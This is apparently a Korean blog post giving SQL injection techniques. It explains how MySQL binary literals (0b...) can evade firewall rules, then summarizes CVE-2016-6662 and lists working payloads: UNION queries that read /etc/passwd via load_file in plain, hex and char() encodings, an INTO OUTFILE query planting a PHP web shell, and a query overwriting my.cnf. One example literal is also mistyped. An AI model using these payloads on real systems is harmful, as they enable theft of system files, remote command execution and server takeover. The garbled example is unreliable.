일반적으로 알려지지 않은  SQLi 우회 패턴이라 대부분의 방화벽 정책에 포함되어 있지 않은 방법이다. 

a를 0x61로 나타내는 hex표기법은 많이 알려져 있는 패턴이라 정책에 걸리는 경우가 많다.

하지만 같은 a를 binary(이진수)로 나타낸 0b01100001는 일반적으로 익숙하지 않은 표기법이다. 

mysql에서 select 0b0110001;을 입력하면 다음과 같이 a를 반환한다.


0b01100001이라는 수는 다음과 같은 방법으로 변환 가능하다.
(binary를 나타낼때는 ascii 값을 이진수로 변환하면됨)
알파벳
ascii
binary
a
97
0b01100001

이를 이용해서 원하는 쿼리를 삽입하는 것이 가능한데 
예를 들어, 경로를 표현하는 경우 c:\test.txt라는 파일경로를 삽입하고 싶은 경우, 
0b0110001100111010010111000111010001100101011110000111010000101110011101000111100001110100를 입력하면 된다.

** 변환시 https://www.binaryhexconverter.com/ascii-text-to-binary-converter를 사용하면 쉽게 변환이 가능하다!


참고 URL


개요

- MySQL에서 원격에서 루트 권한으로 코드를 실행하거나 원격 시스템 파일을 다운로드할 수 있는 취약점(CVE-2016-6662)
- MySQL 기본 설치로 사용하는 로깅 기능을 악용해 MySQL 설정 파일(my.cnf)에 악의적인 설정을 주입하여 원격 및 권한 상승(루트 권한) 공격이 가능한 취약점
- SQL Injection 취약점과 함께 사용할 경우 MySQL 서버를 손상시킬 수 있음
- DB서버가 재부팅되는 경우부터 적용

※ 취약한 버전


※ 공격 구문

  • Load_file() 함수 이용
    • select * from member  union select null, null, null, null, load_file('/etc/passwd');
    • select * from member  union select null, null, null, null, load_file(0x2f6574632f7061737764);
    • select * from member  union select null, null, null, null, load_file(char(47,101,116,99,47,112,97,115,115,119,100));

  • 웹쉘만들기
    • select * from member  union select null, null, null, null, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/cmd.php';
                                -> mysql 사용자가 /var/www/html디렉터리에 접근권한이 없어 생성 불가

  • 설정파일 덮어쓰기(into outfile)
    • select * into outfile '/etc/my.cnf';


+ Recent posts